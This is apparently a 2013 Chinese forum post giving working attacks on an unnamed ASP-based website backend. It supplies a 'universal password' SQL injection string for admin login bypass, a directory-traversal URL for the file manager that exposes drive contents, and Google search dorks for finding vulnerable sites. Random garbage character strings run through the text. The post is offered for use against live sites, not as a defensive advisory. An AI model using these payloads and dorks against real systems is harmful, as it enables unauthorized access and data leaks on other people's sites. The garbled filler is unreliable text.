后台万能密码 'or'='or'
8 d3 E6 v) { Y8 A* g: Q4 N" X1 D" I: x& m6 r. r8 k D
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
% r. R6 @% ^$ q3 c4 p8 Tadmin/uploadfile.asp?currentFolder=/upfiles/../0 E ~% g8 i. H o
/ T$ B: b( Z, f1 Q, T4 o+ b漏洞证明：: o& a1 `, g( Q3 S2 }7 {
0 y+ ?, i- [6 A0 B谷歌：inurl:type.asp?id=1 新闻中心& O h$ I( ]8 x$ F. H; N* l
或者 ：inurl:download_ok.asp?
# J# N- i. X( e9 s1 s
0 n& q$ J+ s- K( B8 c& \( R0 D" J/ H |
发表于 2013-3-14 20:17:32
收藏
支持
反对